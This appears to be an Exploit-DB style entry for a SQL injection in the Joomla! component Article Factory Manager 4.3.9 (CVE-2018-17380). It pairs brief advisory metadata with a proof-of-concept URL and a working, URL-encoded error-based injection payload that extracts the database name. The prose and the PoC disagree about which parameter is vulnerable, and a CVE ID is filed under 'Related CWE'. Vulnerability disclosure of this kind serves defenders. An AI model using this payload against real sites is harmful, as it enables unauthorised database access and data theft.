Joomla! Component Article Factory Manager 4.3.9 - SQL Injection

vendor:

Article Factory Manager

by:

Ihsan Sencan

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Article Factory Manager

Affected Version From: 4.3.9

Affected Version To: 4.3.9

Patch Exists: NO

Related CWE: CVE-2018-17380

CPE: a:thephpfactory:article_factory_manager:4.3.9

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Joomla! Component Article Factory Manager 4.3.9 – SQL Injection

A SQL injection vulnerability exists in Joomla! Component Article Factory Manager 4.3.9. An attacker can send a malicious SQL query to the vulnerable parameter 'filter_search' in the 'index.php' script to execute arbitrary SQL commands in the context of the web server.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

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# Exploit Title: Joomla! Component Article Factory Manager 4.3.9 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-submission/article-factory-manager/
# Version: 4.3.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17380
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# Exploit Author: Ihsan Sencan
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# POC: 
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# http://localhost/[PATH]/index.php?option=com_articleman&view=articles&filter_search=&start_date=[SQL]&end_date=&m_start_date=[SQL]&m_end_date=[SQL]
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# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
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